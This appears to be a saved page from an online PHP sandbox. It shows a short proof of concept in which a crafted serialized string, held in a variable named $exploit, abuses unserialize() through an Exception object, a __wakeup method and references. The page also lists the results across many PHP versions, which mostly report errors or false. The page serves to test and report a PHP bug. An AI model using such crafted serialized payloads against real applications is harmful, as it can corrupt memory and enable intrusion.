@ 2015-10-02T12:05:33Z <?php
class obj {
var $prop;
function __wakeup() {
$this->prop = 1;
}
}
$exploit = 'a:3:{i:0;O:9:"exception":1:{s:17:"'."\0".'Exception'."\0".'string";a:1:{i:0;a:0:{}}i:1;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}';
$x = unserialize($exploit);
for ($i = 0; $i < 5; $i++) {
$v[$i] = 'hi'.$i;
}
var_dump($x);
Enable javascript to submit You have javascript disabled. You will not be able to edit any code.
Output for 8.1.0 - 8.1.28 , 8.2.0 - 8.2.18 , 8.3.0 - 8.3.6 Fatal error: Uncaught TypeError: Cannot assign array to property Exception::$string of type string in /in/FuXXV:11
Stack trace:
#0 /in/FuXXV(11): unserialize('a:3:{i:0;O:9:"e...')
#1 {main}
thrown in /in/FuXXV on line 11
Process exited with code 255 . Output for 7.1.10 - 7.1.33 , 7.2.0 - 7.2.33 , 7.3.0 - 7.3.31 , 7.4.0 - 7.4.33 , 8.0.0 - 8.0.30 Notice: unserialize(): Error at offset 69 of 111 bytes in /in/FuXXV on line 11
bool(false)
Output for 7.3.32 - 7.3.33 bool(false)
Output for 5.4.0 - 5.4.45 , 5.5.0 - 5.5.38 , 5.6.0 - 5.6.28 , 7.0.0 - 7.0.20 , 7.1.0 - 7.1.7 Notice: unserialize(): Error at offset 70 of 111 bytes in /in/FuXXV on line 11
bool(false)
preferences:dark mode live preview
248.09 ms | 402 KiB | 314 Q